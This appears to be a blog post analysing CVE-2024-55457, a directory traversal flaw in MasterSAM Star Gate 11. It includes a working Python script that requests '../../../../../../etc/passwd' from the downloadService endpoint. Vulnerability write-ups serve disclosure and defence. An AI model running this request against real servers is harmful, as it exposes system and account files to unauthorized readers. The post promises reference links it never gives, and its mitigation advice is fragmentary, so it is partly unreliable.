A critical security vulnerability, identified as CVE-2024-55457, has been discovered in MasterSAM Star Gate 11. This vulnerability is concerning due to its potential to allow unauthorized access to sensitive information on the target server. Our research has identified that the vulnerability resides in the directory traversal functionality associated with the adama component, specifically the /adama/adama/downloadService endpoint.

This blog post will provide a detailed analysis of the CVE-2024-55457 vulnerability, including a code snippet demonstrating the exploit, links to original references, and an explanation of how an attacker can leverage this vulnerability to access arbitrary files on the affected server.

Exploit Details

The directory traversal vulnerability in MasterSAM Star Gate 11 lies within the /adama/adama/downloadService endpoint. This flaw is caused by insufficient input validation, which allows attackers to manipulate the file parameter sent in the request, resulting in unauthorized access to the filesystem.

When exploited successfully, an attacker can send a maliciously crafted request to bypass the directory restriction and access arbitrary files on the server. This could potentially lead to the exposure of confidential data and system information, compromising the affected server's security.

Code snippet demonstrating the exploit

import requests

target_url = "http://<target_server>/adama/adama/downloadService";
malicious_file_parameter = "../../../../../../etc/passwd"

exploit_url = f"{target_url}?file={malicious_file_parameter}"
response = requests.get(exploit_url)

if response.status_code == 200:
    print("Directory Traversal Successful:")
    print(response.text)
else:
    print("Directory Traversal Failed")

This code snippet is a simple Python script that exploits the directory traversal vulnerability by sending an HTTP GET request to the target server. The file parameter is manipulated with a common Unix-based path traversal sequence, which aims to retrieve the contents of the /etc/passwd file. This file typically contains user account information on Unix-based systems.

Additional security measures, such as input validation and proper access control management, should also be implemented for the adama component and its associated endpoints.

In conclusion, the CVE-2024-55457 vulnerability poses a significant security risk to affected MasterSAM Star Gate 11 installations. By exploiting the directory traversal in the /adama/adama/downloadService endpoint, attackers can potentially access sensitive files and system information, exposing the security of the server. As such, it is crucial for administrators to take immediate action in addressing this vulnerability and taking steps to protect their systems.
